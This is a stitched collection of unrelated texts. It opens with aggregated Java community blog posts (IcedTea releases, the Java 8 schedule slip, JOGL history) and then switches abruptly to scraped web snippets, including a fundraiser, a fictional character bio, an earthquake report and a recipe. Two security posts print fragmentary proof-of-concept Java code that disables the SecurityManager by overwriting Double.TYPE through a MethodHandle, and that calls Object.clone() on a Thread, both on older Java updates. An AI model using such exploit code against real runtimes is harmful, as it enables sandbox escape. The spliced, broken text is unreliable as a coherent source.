To finish, you must note that JRockit Mission Control is free for development but not for production and, according to François, it's faster than profiling tools like Yourkit because metrics are implemented natively in the JVM.
The IcedTea project provides a harness to build the source code from OpenJDK using Free Software build tools, along with additional features such as a PulseAudio sound driver and support for alternative virtual machines.
This release updates our OpenJDK 7 support to include the latest security updates. We recommend that users of the 2.2.x branch upgrade to this latest release as soon as possible. The security fixes are as follows:
In addition, IcedTea includes the usual IcedTea patches to allow builds against system libraries and to support more esoteric architectures.
If you find an issue with the release, please report it to our bug database under the appropriate component. Development discussion takes place on the distro-pkg-dev OpenJDK mailing list and patches are always welcome.
Full details of the release can be found below.
The tarball can be downloaded from:
SHA256 checksum:
The tarball is accompanied by a digital signature available at the above 'sig' link. This is produced using my public key. See details below.
The following people helped with these releases:
We would also like to thank the bug reporters and testers!
To get started:
$ tar xzf icedtea-2.2.8.tar.gz $ cd icedtea-2.2.8
Full build requirements and instructions are in INSTALL:
$ mkdir icedtea-build $ cd icedtea-build $ ../icedtea-2.2.8/configure [--enable-zero --enable-pulse-java --enable-systemtap ...] $ make
Last week I proposed to delay the release of Java 8 in order to finish Project Lambda, which has been delayed due to Oracle's renewed focus on the security of the Java Platform.
Thanks to everyone who responded to that proposal, in comments on my blog entry, on Twitter, and elsewhere. The feedback was generally in favor, though understandably tinged with disappointment. As of today we have a new plan of record: The target release date for Java 8 is now 2014/3/18.
Further schedule details are available on the JDK 8 Project pages.
I've done some internal work on my http-streams package. Quite a number of bug fixes, which I'm pleased about, but two significant qualitative improvements as well.
First we have rewritten the "chunked" transfer encoding logic. The existing code would accept chunks from the server, and feed them as received up to the user. The problem with this is the server is the one deciding the chunk size, and that means you can end up being handed multi-megabyte ByteStrings. Not exactly streaming I/O. So I've hacked that logic so that it yield
's bites of maximum 32 kB until it has iterated through the supplied chunk, then moves on to the next. Slight increase in code complexity internally, but much smoother streaming behaviour for people using the library.
Secondly I've brought in the highly tuned HTTP header parsing code from Gregory Collins's new snap-server. Our parser was already pretty fast, but this gave us a 13% performance improvement. Nice.
We changed the types in the openConnection
functions; Hostname and Port are ByteString and Word16 now, so there's an API version bump to 0.5.0. Literals will continue to work so most people shouldn't be affected.
Security vulnerabilities related to Java running inside web browsers have lately received a lot of public attention. Here at Oracle we've mounted an intense effort to address those issues in a series of critical-patch update releases, the most recent of which we posted earlier this week. We've also upgraded our development processes to increase the level of scrutiny applied to new code, so that new code doesn't introduce new vulnerabilities.
Maintaining the security of the Java Platform always takes priority over developing new features, and so these efforts have inevitably taken engineers away from working on Java 8. It's one of the reasons why some features slipped past Milestone 6 (M6), our original Feature-Complete target at the end of January.
Looking ahead, Oracle is committed to continue fixing security issues at an accelerated pace, to enhance the Java security model, and to introduce new security features. This work will require more engineer hours than we can free up by dropping features from Java 8 or otherwise reducing the scope of the release at this stage.
As a consequence of this renewed focus on security the Java 8 schedule, with a GA release in early September, is no longer achievable.
Status As I've previously written, the most important work that slipped past M6 is related to Project Lambda, the sole driving feature of the release. We integrated the language and VM changes for Lambda late last year, but between all the moving parts involved and the security work it's taken a bit longer than expected to put the finishing touches on the stream API and the related core-libraries enhancements (JEPs 107 and 109). Our best estimate right now is that we can finish this work by early May, about three months later than planned.
The other features that slipped past M6 are not release drivers, so in theory we could just drop them from the release, but if Lambda needs more time then there's no point in doing that.
Alternatives So, what to do? There are many options; let's look at a few of them.
If we drop Lambda then the remaining features are interesting but not, taken as a whole, very compelling. A Lambda-less release this year would hence be unlikely to gain wide adoption, so why bother? Lambda itself would not be available until 2016, assuming we maintain the two-year cadence that I've previously suggested. I don't think anybody wants to wait that long.
If we sacrifice quality in order to maintain the schedule then we'll almost certainly repeat the well-worn mistakes of the past, carving incomplete language changes and API designs into virtual stone where millions of developers will have to work around their flaws for years to come until those features—or the entire Platform—are replaced by something new.
With Lambda nearly complete, I don't think it makes sense to delay its release. Beyond that, finishing Jigsaw would likely require more than a year's delay, for reasons I've previously given and because key members of the Jigsaw team at Oracle have lately spent a lot of time working on security issues.
Hold the train I think the least-bad option is this:
If we can finish the remaining design and development work by early May then we should be able to test and stabilize the build over the summer and ship a solid Developer Preview release in early September.
To settle on a new GA date for Java 8 requires a bit more planning work, but my expectation is that we'd be able to ship the release in the first quarter of 2014.
That is, of course, more than a three-month slip from the current GA date in early September. At this point we're not confident that we could be ready for a GA release in November, and experience has shown that it's almost always a bad idea to try to ship a major software release in December, so that pushes the GA date well into the first quarter.
This option would not open the gates for a flood of new features in Java 8, nor would it permit the scope of existing features to grow without bound. We'd likely add a select few additional features, especially in areas related to security. In general, however, we'd use the additional time to stabilize, polish, and fine-tune the features that we already have rather than add a bunch of new ones. We've been down that latter road before, and it's long and ugly.
Is this the best possible course of action? I think it's better than the alternatives, but I'm open to suggestions. In the meantime I'm going to ask the same question of the Java SE 8 Expert Group and of the contributors to the Reference Implementation in the JDK 8 Project.
Features vs. schedule I've previously argued that it's best to structure the Java development process as a continuous pipeline of innovation that's only loosely coupled to a regular, rhythmic release process. If a major feature misses its intended release train then that's unfortunate but it's not the end of the world: It will be on the next train, which will also leave at a predictable time.
I still think that's a good general policy. Adhering strictly to it in this case, however, would mean that we'd take the first option above—i.e., drop Lambda and stick to the schedule—which I strongly doubt anyone actually wants. An exception to the general policy is therefore well justified.
If we adopt my proposal above then we should be able to complete the browser-related security work to which we've committed and then resume a regular two-year release cadence, with Java 8 due in early 2014 and Java 9 in early 2016.
Yesterday I wrote about the security issue fixed in Update 21. Today I'll describe the "Security-In-Depth" issue.
As a result of the Thread Cloning Vulnerability, Oracle removed honoring the absense of ACC_SUPER from HotSpot in Update 13. The HotSpot patch can be seen here.
Again, while working on IKVM's dynamic binding, I found that it was still possible to do a non-virtual invocation of an overridden method by using a MethodHandle. This was fixed in Update 21.
Here's an example that uses Indify to generate the MethodHandle constants and manages to call Object.clone() on a Thread object on Update 13:
import java.lang.invoke.*;
class test extends Thread implements Cloneable {
public static void main(String[] args) throws Throwable {
test obj = new test();
System.out.println(obj == MH_1().invokeExact(obj));
private static MethodHandle MH_1() throws Throwable {
return MethodHandles.lookup().findSpecial(Object.class, "clone",
MethodType.methodType(Object.class), test.class);
You can compile and run this without Indify and it will show the problem (on versions before Update 21), but you need to run Indify to make it work with an active SecurityManager.
The difference between looking up method handles via the API versus using MethodHandle constants is analogous to the difference between normal bytecode method invocation and classic reflection. When going via the API the SecurityManager is involved, but the runtime linker does not call the SecurityManager. MethodHandle constants (when they are properly implemented) don't allow you to do anything that normal bytecode can't do. This is why the claim made by Security Explorations about Issue 54 was incorrect.
While I was working on rewriting IKVM's dynamic binding support based on method handles I stumbled into a rather serious bug in the Oracle Java implementation. It allowed any code to overwrite public final fields. This has been fixed in Update 21.
Below is a proof of concept that disables the security manager. It works by changing Double.TYPE to Integer.TYPE and then using reflection to copy an integer field from one object to another, but because of the patched TYPE fields reflection thinks the integer field is a double and copies 8 bytes instead of 4.
import java.lang.invoke.MethodHandle;
import java.lang.reflect.Field;
import static java.lang.invoke.MethodHandles.lookup;
class Union1 {
int field1;
Object field2;
class Union2 {
int field1;
SystemClass field2;
class SystemClass {
Object f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12,
class PoC {
public static void main(String[] args) throws Throwable {
static void disableSecurityManager() throws Throwable {
MethodHandle mh1, mh2;
mh1 = lookup().findStaticSetter(Double.class, "TYPE", Class.class);
mh2 = lookup().findStaticSetter(Integer.class, "TYPE", Class.class);
Field fld1 = Union1.class.getDeclaredField("field1");
Field fld2 = Union2.class.getDeclaredField("field1");
Class classInt = int.class;
Class classDouble = double.class;
Union1 u1 = new Union1();
u1.field2 = System.class;
Union2 u2 = new Union2();
fld2.set(u2, fld1.get(u1));
if (u2.field2.f29 == System.getSecurityManager()) {
u2.field2.f29 = null;
} else if (u2.field2.f30 == System.getSecurityManager()) {
u2.field2.f30 = null;
} else {
System.out.println("security manager field not found");
The OpenJDK wiki is now available for use:
As written up in
JEP 182: Policy for Retiring javac -source and -target Options, we're implementing a policy to over time clean up the -source
and -target
portions of javac
's command line:
when put on the classpath, etc.
options 1.4.1
, 1.4.2
, and jsr14
have been removed in JDK 8 (8010179).
Removing support for the old options will ease compiler maintenance in several ways. First, there will be direct benefits from allowing some code to be deleted. Nixing jsr14
allowed about 250 lines of code to be excised. Second, fewer interactions between new language features and old source levels need to be handled in the compiler. The Java Language Specification only deals with a single version of the language and there is no formal specification of many aspects of how a Java compiler is supposed to behave. To use a recent example, there is no specification for how a new-in-8 default method being introduced to the language and core libraries by Project Lambda should appear to code being compiled under, say, -source 6
. Limiting the span of source and target version supported reduces the need to define such cross-version interactions. (The practical impact of source cross-version interfaces would be greatly reduced if developers more often follwed the recommended practice of setting the bootclasspath when cross-compiling to an older platform version.)
This policy will help balance stability versus progress and should cover releases having public updates when a new JDK is released.
Now that OpenJDK has an improved new build system, it is time to re-examine our test infrastructure with a view to gaining similar improvements for writing and running tests.
We have an ongoing problem with test reliability. Part of the issue is that we write our tests in Java, which apparently, and regrettably, has bugs in it. (Otherwise, why would we be testing it?) With the recent progress in Java scripting technology over the past couple of years, we should convert all our tests to use a scripting language. Although, we currently specify the use of Bourne shell, there are too many evolutionary variants of that, and so it is proposed we instead use Perl for all our test code. Of course, there are different versions of Perl, and so users will have to run a configure script ahead of time to determine if they have enough versions of Perl available on their system, and to recommend how to compile additional versions if necessary.
From early days, JavaTest, jtharness and jtreg have embraced the web, providing HTML reports, support for an HTTP server to be available while tests are running, and servlets to display test results in full color, eliminating the need for thousands of words. We should build on those ideas and embrace web-based test execution and reporting using a new PHP-based back-end for jtreg.
Finally, we should rewrite jtreg itself in Python. This will facilitate easy integration into our work flow as a Mercurial extension. Initially, this can be provided as "hg test" but the long term goal is to integrate jtreg functionality into jcheck, so that all appropriate tests are run automatically before any code can be pushed to a jcheck-controlled forest.
Quick update to http-streams, making a requested API change to the signature of the buildRequest
function as well as pushing out some bug fixes and performance improvements.
You no longer need to pass the Connection object when composing a Request, meaning you can prepare it before opening the connection to the target web server. The required HTTP 1.1 Host:
header is added when sendRequest
is called, when the request is written to the server. If you need to see the value of the Host:
field that will be sent (ie when debugging) you can call the getHostname
I've added an "API Change Log" to the README file on GitHub, and the blog post introducing http-streams has been updated reflect the signature change.
Thanks to Jeffrey Chu for his contributions and to Gregory Collins for his advice on performance improvement; this second release is about 9% faster than the original.
As johnath blogged, we've had a bit of a conversation going with the office across from us. I wanted to add a few more photos and a video that I took.
(link to the video in case Planet doesn't like the iframe)
Today marks one year at Red Hat for me (in fact, I started on 29th of February, so in reality my first year will be in 3 years from now, weird :)
It was a superb year, Red Hat confirms to be one of the best company one can desire to work with, it's challenging, interesting and fun.
And of course, I have the best possible team mates I can desire!
I'm waiting forward for another great year, new projects, new challenges. And all in the Open!
2008: Sun Microsystems invested heavily into using hardware acceleration on mobile devices using JOGL. This was the foundation to get JavaFX 1.3 running across devices. Video of James Gosling, Ken Russell and Sven Gothel on stage at JavaOne 2008 keynote http://www.youtube.com/watch?v=DeupVAMnvFA.
Ken Russel later wrote his last Sun blog-post that covers the technology demonstrated in this first OpenGL ES 2 JOGL demonstration: https://blogs.oracle.com/kbr/entry/java_on_the_nvidia_apx.
Later during the same year Sven Gothel demonstrated hardware accelerated OpenMAX video decoding on the same Tegra 1 mobile device using the new re-architectured JOGL 2 with stellar mobile support: http://www.youtube.com/watch?v=D6Lkw3eZK1w
2009: The core members of the JOGL and Java3D team left Sun before Oracle took over and forked JOGL.
2010: The JogAmp community was created.
2011: Oracle Gives up on Java3D (and JOGL) for RIA (Webstart and Applets)
The Oracle decision to remove all signed Java3D and JOGL builds from their servers, and hence break all existing online Java3D/JOGL applications using the SUN/Oracle builds, this have only been mentioned by Oracle inside the java.net support forum.
Fortunately JOGL and Java3D was originally released under a BSD license so it was possible for the community to keep-on maintaining the bindings and provide JogAmp signed builds.
2012: Oracle work on flushing out its own use of JOGL in JavaFX by removing jogl-prism. Oracle no longer give programmers direct access to OpenGL using their APIs.
Oracle announced during JavaOne 2012 that Oracle would like to get help from the community to port JavaFX to new platforms under the OpenJFX project. Surely the community can help by re-implement jogl-prism and adding raw JOGL support into OpenJFX to ease future OpenJFX porting efforts.
JOGL v2 now runs on the latest GPU cores and work on top of any JVM. JOGL v2 contains its own platform independent NEWT windowing toolkit. NEWT applications targeting the GL2ES2 or GL2ES1 profile, both using a common subset of OpenGL and ES calls, can be deployed across different platforms and devices from desktop to mobile without code change.
http://jogamp.org/doc – Documentation, slides, and videorecording from the latest live JogAmp demonstrations
hharrison now maintain Java3D on github
Julien Gouesse: Java 3D est de retour [Java 3D is back]
Excellent post by cnx-software listing all the reverse engineering effort put into bringing opensource ARM GPU drivers to GNU/Linux.
The post links and embeds libv's excellent FOSDEM 2013 reverse engineering ARM GPU driver talk.
The lima and freedreno reverse engineered drivers are both now known to be able to run Quake 3. The lima driver is now actually faster than the closed source ARM Mali driver!
http://libv.livejournal.com/24092.html – Hey ARM!
We are not going away, we are here to stay. We cannot be silenced or stopped anymore, and we are becoming harder and harder to ignore.It is only a matter of time before we produce an open source graphics driver stack which rivals your binary in performance. And that time is measured in weeks and months now. The requests from your own customers, for support for this open source stack, will only grow louder and louder.
So please, stop fighting us. Embrace us. Work with us. Your customers and shareholders will love you for it.
– libv.
Intel have taking the lead and released all their OpenGL ES 3 driver code into Mesa
http://cgit.freedesktop.org/mesa/mesa/log/?h=gles3 – this is how you should work, kudos to Intel.
Android have for a long time refused vendors to ship ARM OpenCL drivers on Google approved Android devices.
http://code.google.com/p/android/issues/detail?id=36361 – Android lead Declined Support for OpenCL
Over night everything changed:
Google ships secret #ARM #MALI T-604 #OpenCL driver in Nexus 10 to accelerate Renderscript.
The OpenCL SDK for ARM Mali is now available! http://bit.ly/YOS1YA #opencl #gpu @ARMMultimedia
OpenCL drivers for Samsung Exynos 5 board landed here: http://streamcomputing.eu/knowledge/sdks/samsung-exynos-5-board/
Also the Zii labs ZMS line supports CL http://codedivine.org/2013/02/01/renderscript-from-the-perspective-of-an-openclcudac-amp-programmer/
Amazon android line is rumored to support CL as well…
So with all these new news surfacing it looks like ARM devices running the new T-604 MALI GPU will have OpenCL drivers especially the Google Nexus 10 tablet that is reported to include the drivers in the stock install!
So this means we now have a good way to hardware accelerate FFT on ARM using OpenCL!
I want to use #OpenCL on #ARM to do fast live music #FFT analysis for better jazz music on the go
JogAmp have implemented OpenCL bindings on GNU/LInux and packaged .apk for Android feel free to jump in and help with testing on real devices!
The current priority list for JogAmp OpenCL and OpenGL ES 3 integration is found inside the forum: http://forum.jogamp.org/JInput-Delivery-tp4028209p4028210.html
Cheers and have a great twitter valentine tweet day!
v3 is the new <3
The last couple of years, I had to pass FOSDEM, for various reasons. I am very very happy that I finally sorted things out for this years FOSDEM, and I'm ready to go (hotel and trains booked). I will do a presentation about my Shark & Zero work on Saturday afternoon, and co-present Thermostat with Mario on Sunday noon, both in the Java dev room.
FOSDEM is one of those rare events in my life about which I can say that it had a very significant impact. I wouldn't be where I am today, if I hadn't attended it a few years ago. I am very happy that I can finally go there again, and meet lots of old and new friends and collegues. See you there, and cheers!
Passed: java/lang/invoke/6987555/Test6987555.javaThe changes aren't pushed to git yet, as JamVM will currently only work with OpenJDK 8. Getting it to work with OpenJDK 6/7 (without JSR 292) won't be difficult, but GNU Classpath will be more tricky.
Passed: java/lang/invoke/6991596/Test6991596.java
Passed: java/lang/invoke/6998541/Test6998541.java
Passed: java/lang/invoke/7157574/Test7157574.java
Passed: java/lang/invoke/7196190/ClassForNameTest.java
FAILED: java/lang/invoke/7196190/GetUnsafeTest.java
Passed: java/lang/invoke/7196190/MHProxyTest.java
Passed: java/lang/invoke/lambda/LambdaAccessControlDoPrivilegedTest.java
Passed: java/lang/invoke/lambda/LambdaAccessControlTest.java
Passed: java/lang/invoke/AccessControlTest.java
Passed: java/lang/invoke/BigArityTest.java
Passed: java/lang/invoke/CallSiteTest.java
Passed: java/lang/invoke/ClassValueTest.java
Passed: java/lang/invoke/InvokeDynamicPrintArgs.java
Passed: java/lang/invoke/InvokeGenericTest.java
Passed: java/lang/invoke/JavaDocExamplesTest.java
Passed: java/lang/invoke/MethodHandlesTest.java
Passed: java/lang/invoke/MethodTypeTest.java
Passed: java/lang/invoke/PermuteArgsTest.java
Passed: java/lang/invoke/PrivateInvokeTest.java
Passed: java/lang/invoke/RicochetTest.java
Passed: java/lang/invoke/ThrowExceptionsTest.java
Test results: passed: 21; failed: 1
Today we released Caciocavallo 1.3. The release announcement can be found here.
However, what is the more important news is that after the release, I fixed Cacio-Web to work with the latest Cacio build and enabled it in the default build so it doesn't fall to the wayside again. On popular request I would like to summarize how to get Cacio-Web running. Note that this currently only works on Linux (patches to enable this on other platforms are welcome!)
First of all, check out the source code (the cacio-web changes are not yet released):
hg clone http://hg.openjdk.java.net/caciocavallo/ng/ caciocavallo
Then build it (you need Maven!):
cd caciocavallo mvn clean install
And finally you should be able to run with with something like this:
java -Dcacio.web.port=9091 -cp cacio-web/target/cacio-web-1.4-SNAPSHOT-jar-with-dependencies.jar:/home/rkennke/src/test/SwingSet2.jar net.java.openjdk.cacio.server.CacioServer
The -Dcacio.web.port
parameter specifies on which port should Cacio-Web listen. Notice that the classpath needs to include your application (SwingSet2.jar in this case).
Then point your browser to a URL like this:
Where the parameter cls
specifies the (fully qualified) name of the main class of the application to start.
Please let me know if you run into any problems.
A potential heap buffer overflow issue has been found and fixed in
IcedTea-Web. It is recommended that all IcedTea-Web users update to this
new version.
We would like to thank Arthur Gerkis for reporting this issue.
The fixed issue is:
RH869040, CVE-2012-4540: Heap-based buffer overflow after triggering event attached to applet
Other fixes are listed in the NEWS files:
1.1.7 NEWS file
1.2.2 NEWS file
1.3.1 NEWS file
Please note that this will be the last 1.1.x release as we are not aware
of any distribution currently using 1.1.
The following people helped with these releases:
Adam Domurad
Omair Majid
Saad Mohammad
Jiri Vanek
709ef1880e259d0d0661d57323448e03524153fe3ade21366d55aff5a49608bb icedtea-web-1.1.7.tar.gz
e9e3c3dc413b01b965c0fc7fdc73d89683ffe1422ca7fd218c98debab9bdb675 icedtea-web-1.2.2.tar.gz
20c7fd1eef6c79cbc6478bb01236a3eb2f0af6184eaed24baca59a3c37eafb56 icedtea-web-1.3.1.tar.gz
Download links:
After extracting, it can be built as per instructions here:

subset: commoncrawl


text:
Invite a friend
Birds and All That Jazz! Fundraiser for Oak Knoll Wildlife Sanctuary
1417 Park St, Attleboro, MA | Get Directions »
This is our first ever event to support our fundraising efforts around *Bird a Thon. Birds and All That Jazz will feature the celebrated jazz pianist, Pamela Hines Trio, accompanied by the talented vocalist Suzanne Cabot. The evening is catered by Russell Morin Fine Catering and will include a jazz performance, silent auction, and tour of our new bird garden, and perhaps most importantly, a chance for our friends to meet and connect to celebrate the nature of Massachusetts, here at Oak Knoll.
Please help us maintain a beautiful and educational resource in the community as the Oak Knoll volunteers and staff do our important conservation and education work right here in your own backyard.
*Bird a thon, Mass Audubon's annual fundraiser where teams of birders spend 24 hours trying to spot the most species in Massachusetts, will kick off a 6 pm on May 11, 2012. Aside from the glory of taking home a coveted prize, our team members stay up late and wake up at the crack of dawn to help raise money for our wildlife sanctuaries, as well as for many of our research and conservation programs. You don't have to be out in the field to be a part of Bird-a-thon. You can make a difference by raising money for your local wildlife sanctuary by attending Birds and All that Jazz or attending a program at Oak Knoll.
Event Details
Where | 1417 Park St, Attleboro, MA 02703 (Mass Audubon's Oak Knoll Wildlife Sanctuary) |
Next on | This event is over. |
Time | 7:00 pm–10:00 pm |
Who to bring | Moms, Dads, Singles, Seniors |
Website | http://www.massaudubon.org |
Phone | 508-223-3060 |
firstname.lastname@example.com | |
Price | 30.00 per person 50.00 per couple |


text:
Name: Albert J. Colleran
Age: 68
Gender: Male
Hometown/Place of Origin: Edgewood, MD
Role: Doctor of Biophysics and Biophysical Chemistry
Appearance: Doctor Colleran stands 5' 11" tall and weighs 185 Lbs. He has light brown colored skin and brown eyes. His black short curly hair is all white and gray hair, as well as his mustache and beard. Doctor Colleran has worn leathery skin. Before the pandemic, his life was one of oppulence, but since the flu hit, he has grown accustomed to the hard life of a survivor. He seems to have an ample supply of white laboratory coats and is more often than not seen wearing one. His clothing generally consists of either durable cotton trousers or blue jeans and buttoned down shirts colored white, light blue, pink, yellow or light green over a white T-shirt. He also wears hiking boots and carries a wooden walking stick, which he doesn't need for any physical impairment, but has taken to carrying the walking stick.
photo: James Pickens Jr. (Grey's Anatomy, Another World)
Albert J. Colleran was born on August 5, 1981 in Annapolis, Maryland. His father was a graduate of the US Naval Academy and rose to the rank of Vice Admiral, a one time Superintendant of the US Naval Academy at Annapolis.
Albert Colleran went by the name Al, Bertie or Albert by his parents and sister, Madeline when he was growing up. He attended Johns Hopkins University for both Undergraduate and Graduate studies where he pledged to Phi Delta Theta fraternity where he was known as AJ.
Upon receiving his PhD in Biophysics and Biophysical Chemistry, Albert Colleran worked with noted Biophysicists at Johns Hopkins Research center. He had been employed by Johns Hopkins University under research grants for almost five years as a Biophysicist when the flu erupted on the scene in 2013. Researchers like himself worked feverishly to determine the cause of the pandemic at the cellular and molecular level, but were unsuccessfuly.
Before 2013 was over, survivors had destroyed much of his lab and he was forced to evacuate Baltimore. He heard about the collective of scientists and physicians at Calvert University in Eastern Maryland and made his way there. He transported as much laboratory equipment he could get his hands on including microscopes, various chemicals needed for research and other medical related items.
As a young man, Doctor Colleran learned to play tennis and the piano. He can play several classical scores on the piano, but prefers Jazz most of all. He enjoys listening to music and idolizes many of the older Jazz musicians including Louis Armstrong, Earl Hines, Charles Mingus, Dizzy Gillespie, Charlie Parker, Art Tatum and Duke Ellington.
Physical fitness has always been important to Albert Colleran. His father insisted the boy exercise daily. Admiral Colleran would take his son to play basketball, tennis or other sports and when they got older, the two took runs together in the Baltimore and Washington DC areas.
After the pandemic, Albert learned how to use a shotgun, assault rifle, handgun, pistol, compound bow and knife. He prefers not to use these weapons and has a moral problem with taking another life. He has also learned about plant biology and farming from other residents at Calvert.
In 2010, only two years out of school, Doctor Colleran purchased a home in Edgewood, MD. It was a very nice 2800 square foot home along Bush River, which feeds into Chesapeake Bay. In 2011, Albert Colleran got engaged to Leslie Atherton, who worked in the oncology research labs at Johns Hopkins. She died in 2013 from the flu before they were married.
Psychological Profile
Albert had a very supportive upbringing and always seemed to have everything he needed. His home life was loving and nurturing. He is a well adjusted adult. He has a fairly decent sense of humor, but has found it lacking at times.
Politically, Albert has always been moderate with a slight leaning toward the left. Since, he sees his position in society as someone who helps others he believes it is the responsibility of those in charge, politically to provide for the common man. Every contributing member of a society should work hard to help the collective. The atmosphere at Calvert is comfortable to him. He views it as a community of competent individuals working together in a communal environment to better themselves individually and the community as a whole. He understands the need to destroy the Bay Bridge. Initially, he was against it, but after seeing some of the horrors brought on by other survivors, he now believes it was a necessity.
- BS, Chemical and Biomolecular Engineering;
- Master's, Biochemistry, Cellular and Molecular Biology;
- PhD, Biophysics and Biophysical Chemistry
- Excellent Tennis player
- Good Piano player
- History, specifically the history of medicine


text:
Earth Watch Report - Earthquakes
M4.3 – 236km SE of Lambasa, Fiji 2013-05-10 10:55:36 UTC
Event Time
- 2013-05-09 22:55:36 UTC-12:00 at epicenter
- 2013-05-10 05:55:36 UTC-05:00 system time
17.644°S 178.803°W depth=541.0km (336.1mi)
Nearby Cities
- 236km (147mi) SE of Lambasa, Fiji
- 297km (185mi) E of Suva, Fiji
- 401km (249mi) E of Nadi, Fiji
- 540km (336mi) NW of Nuku`alofa, Tonga
- 863km (536mi) WSW of Apia, Samoa
Tectonic Summary
Seismotectonics of the Eastern Margin of the Australia Plate
The eastern margin of the Australia plate is one of the most sesimically active areas of the world due to high rates of convergence between the Australia and Pacific plates. In the region of New Zealand, the 3000 km long Australia-Pacific plate boundary extends from south of Macquarie Island to the southern Kermadec Island chain. It includes an oceanic transform (the Macquarie Ridge), two oppositely verging subduction zones (Puysegur and Hikurangi), and a transpressive continental transform, the Alpine Fault through South Island, New Zealand.
Since 1900 there have been 15 M7.5+ earthquakes recorded near New Zealand. Nine of these, and the four largest, occurred along or near the Macquarie Ridge, including the 1989 M8.2 event on the ridge itself, and the 2004 M8.1 event 200 km to the west of the plate boundary, reflecting intraplate deformation. The largest recorded earthquake in New Zealand itself was the 1931 M7.8 Hawke's Bay earthquake, which killed 256 people. The last M7.5+ earthquake along the Alpine Fault was 170 years ago; studies of the faults' strain accumulation suggest that similar events are likely to occur again.
North of New Zealand, the Australia-Pacific boundary stretches east of Tonga and Fiji to 250 km south of Samoa. For 2,200 km the trench is approximately linear, and includes two segments where old (>120 Myr) Pacific oceanic lithosphere rapidly subducts westward (Kermadec and Tonga). At the northern end of the Tonga trench, the boundary curves sharply westward and changes along a 700 km-long segment from trench-normal subduction, to oblique subduction, to a left lateral transform-like structure.
Australia-Pacific convergence rates increase northward from 60 mm/yr at the southern Kermadec trench to 90 mm/yr at the northern Tonga trench; however, significant back arc extension (or equivalently, slab rollback) causes the consumption rate of subducting Pacific lithosphere to be much faster. The spreading rate in the Havre trough, west of the Kermadec trench, increases northward from 8 to 20 mm/yr. The southern tip of this spreading center is propagating into the North Island of New Zealand, rifting it apart. In the southern Lau Basin, west of the Tonga trench, the spreading rate increases northward from 60 to 90 mm/yr, and in the northern Lau Basin, multiple spreading centers result in an extension rate as high as 160 mm/yr. The overall subduction velocity of the Pacific plate is the vector sum of Australia-Pacific velocity and back arc spreading velocity: thus it increases northward along the Kermadec trench from 70 to 100 mm/yr, and along the Tonga trench from 150 to 240 mm/yr.
The Kermadec-Tonga subduction zone generates many large earthquakes on the interface between the descending Pacific and overriding Australia plates, within the two plates themselves and, less frequently, near the outer rise of the Pacific plate east of the trench. Since 1900, 40 M7.5+ earthquakes have been recorded, mostly north of 30°S. However, it is unclear whether any of the few historic M8+ events that have occurred close to the plate boundary were underthrusting events on the plate interface, or were intraplate earthquakes. On September 29, 2009, one of the largest normal fault (outer rise) earthquakes ever recorded (M8.1) occurred south of Samoa, 40 km east of the Tonga trench, generating a tsunami that killed at least 180 people.
Related articles
- 5.0 Magnitude Earthquake – 237km NNE of Ndoi Island, Fiji (familysurvivalprotocol.com)
- 6.0 Magnitude Earthquake – 162km NW of Ceva-i-Ra, Fiji (familysurvivalprotocol.com)
- M 5.8, south of the Fiji Islands (earthquake.usgs.gov)
- M 4.4, south of the Fiji Islands (earthquake.usgs.gov)
- M 4.6, south of the Fiji Islands (earthquake.usgs.gov)
- Strong earthquake at a safe distance from the Fiji Islands (earthquake-report.com)


text:
1949 Packard Deluxe 4 Door Sedan. Older restoration from a Virginia Collection. Correct, original Vin plate. Older re-paint in Vanilla with Brown / Beige... More
The last of the pre war Packards has more than rarity going for it Production was cut short by America and the official entry... More


text:
"This goes great with Jefferson Davis pie, pecan pie, or pumpkin pie!" - by POOKA75
Adjust Servings
Original recipe yields 2 cups
- In a medium bowl, whip cream until soft mounds form. Gradually add sugar, whipping until cream forms stiff peaks. Gently fold in bourbon. Chill until ready to serve.
Amount Per Serving (16 total)
- Calories
- 61 cal
- 3%
- Fat
- 5.5 g
- 8%
- Carbs
- 2 g
- < 1%
Based on a 2,000 calorie diet
Share It
Reviews (31)
Rate This Recipe"Wow!!! This stuff is way too good! Everyone wanted the recipe. I cut the bourbon down to 1 tablespoon and people were licking their spoons and seeing who could come up with the most uses for this l..." See moreittle recipe."
Similar Recipes
previous recipe:
next recipe:
Want More?
Just swipe to see more like this.


text:
jewlsher |
I just don't get itI'm just ranting abou... |
over 1 year ago | |
* Military Only* FREE Care Package! |
over 1 year ago | |
Naked Palette 2I had this for 2 weeks now and haven't used it but last night when I used it. I fell in love with... |
over 1 year ago | |
Cooking foodI'm pretty annoyed at... |
over 1 year ago | |
Same cartoonsOMG I swear my kids watches the same cartoons over and over and over again. I am getting so sick ... |
over 1 year ago | |
Thank you jonsie : )I don't know if the message I sent you went through so I'm writing one on here hoping you'll see ... |
over 1 year ago | |
DIY Nail Polish Wall RackI saw this and I want to try to make it myself since I"m starting to buy a ton of nail polish thi... |
over 1 year ago | |
Work outHas anyone tried the Jillian Michael's work out videos before? My cousin says her 30 Day Shred re... |
over 1 year ago | |
Bad check out personI went grocery shopping today and when I went to check out, the lady at the checkout counter was ... |
over 1 year ago | |
SleepI feel like I can't ever go to sleep early enough. I wake up every morning at 7am to help get my ... |
over 1 year ago |
Is That Odd awards Odd Coins for sharing stories and participating on the site! Collect your Odd Coins to go product sampe shopping!
Activity | Odd Coins Awarded |
Post an Oddstract | 100 |
Activity | Odd Coins Awarded |
Read an Oddstract | 5 |
Participate in an Oddstract (via invite) | 100 |
Comment on an Oddstract (uninvited/general audience) | 50 |
Vote on a poll | 5 |
Activity | Odd Coins Awarded |
Register on Site | 100 |
Refer a friend (who then registers) | 100 |
Activity | Odd Coins Awarded |
Most popular Poster | 1000 |
Odd of the Day | 1000 |
Share stories, ask for advice... earn Odd Coins and buy trial-sized products!
IsThatOdd is committed to providing a compelling platform for women to broadcast their stories and share advice with a network of friends.... or as we affectionately say, "Helping people get a clue!"
Join now and earn 100 Odd Coins just for signing up. It's free!
Unlike other sites, you do not have to use your real money to purchase Odd Coins. You earn Odd Coins by participating and having fun on the site.
Women today spend a lot of their time online and that makes it hard for the beauty brands to introduce new products to you. This is how the samples (and shipping!) are free to consumers - because brands are eager to find new ways to connect with women.
Don't miss out on the fun!
Join Now and earn your first 100 Odd Coins just for signing up. Share some stories, write a few comments, or cast some votes and you'll be shopping for samples in no time!


text:
[EOnline] Hostess with the mostess Anita Sunshine is known for her strong views and mostly cheery disposition.
And while the chatty Kathy has been known to spar with her fellow showmates, nothing has ever been this big of an issue behind the scenes of the chatfest.
Well, until now, that is.
